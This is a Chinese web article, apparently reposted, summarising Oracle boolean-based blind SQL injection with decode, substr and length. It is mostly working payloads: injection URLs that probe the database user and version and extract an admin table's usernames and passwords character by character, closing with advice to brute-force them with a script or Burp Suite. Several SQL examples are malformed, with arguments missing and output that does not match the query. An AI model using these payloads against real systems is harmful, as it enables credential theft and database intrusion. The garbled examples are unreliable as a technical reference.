Oracle基于布尔的盲注总结
副标题[/!--empirenews.page--]
0x01 decode?函数布尔盲注decode(字段或字段的运算,值1,值2,值3) 这个函数运行的结果是,当字段或字段的运算的值等于值1时,该函数返回值2,否则返回3 当然值1,值2,值3也可以是表达式,这个函数使得某些sql语句简单了许多 select decode(sign(变量1-变量2),-1,变量1,变量2) from dual; --取较小值 sign()函数根据某个值是0、正数还是负数,分别返回0、1、-1 例如: SQL> select decode(sign(10-20),10,20) from dual; DECODE(SIGN(10-20),20) ---------------------------- 10 所以这个decode函数在我们注入中的应用 ? ? 测试当前用户 select decode(user,‘SYSTEM‘,1,0) from dual; 如果是system用户则返回1,不是则返回0. SQL> select decode(user,‘SYSTEM‘,1,0) from dual; DECODE(USER,0) ------------------------- 1 SQL> select decode(user,‘SYS‘,0) from dual; DECODE(USER,0) ---------------------- 0 注入点中decode盲注应用判断是否是SCOTT用户 http://www.jsporcle.com/a.jsp?username=SMITH‘ and 1=(select decode(user,‘SCOTT‘,0) from dual) -- 当前也可以用字符逐个猜解,利用到substr()函数 http://www.jsporcle.com/a.jsp?username=SMITH‘ and 1=(select decode(substr(user,1),‘S‘,0) from dual) -- 这里只需要替换我们需要查的内容即可?不一一列举了,比如查询Oracle版本,判断版本的字符串第一个字符是否是O http://www.jsporcle.com/a.jsp?username=SMITH‘ and 1=(select decode(substr((select banner from sys.v_$version where rownum=1),‘O‘,0) from dual) -- 获取当前用户 (select user from dual) 获取当前版本 (select banner from sys.v_$version where rownum=1) (select username||password from admin) select length(user) from dual -- http://www.jsporcle.com/news.jsp?id=1 and 6=(select length(user) from dual) -- 当前用户第一个字母的是否等于S 等于返回1否则返回0 (select decode(substr(user,1),‘S‘,0) from dual) -- (select decode(substr(user,2,‘Y‘,3,4,‘T‘,5,‘E‘,6,‘N‘,0) from dual) -- 测试当前用户语句 http://www.jsporcle.com/news.jsp?id=1 and 1=(select decode(substr(user,0) from dual) -- 获取当前admin表的帐号和密码 select * from art where id=1 and 1=(select decode(substr((select username||password from admin),‘a‘,0) from dual) http://www.jsporcle.com/news.jsp?id=1 and 1=(select decode(substr((select username%7c%7cpassword from admin),0) from dual) 判断字符的字符 abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_. 查询第二个的时候 http://www.jsporcle.com/news.jsp?id=1 and 1=(select decode(substr((select username%7c%7cpassword from admin),‘d‘,0) from dual) -- ? ?大概知道这些函数的用法?跑脚本爆破即可?burpsuite为例 (编辑:青岛站长网) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |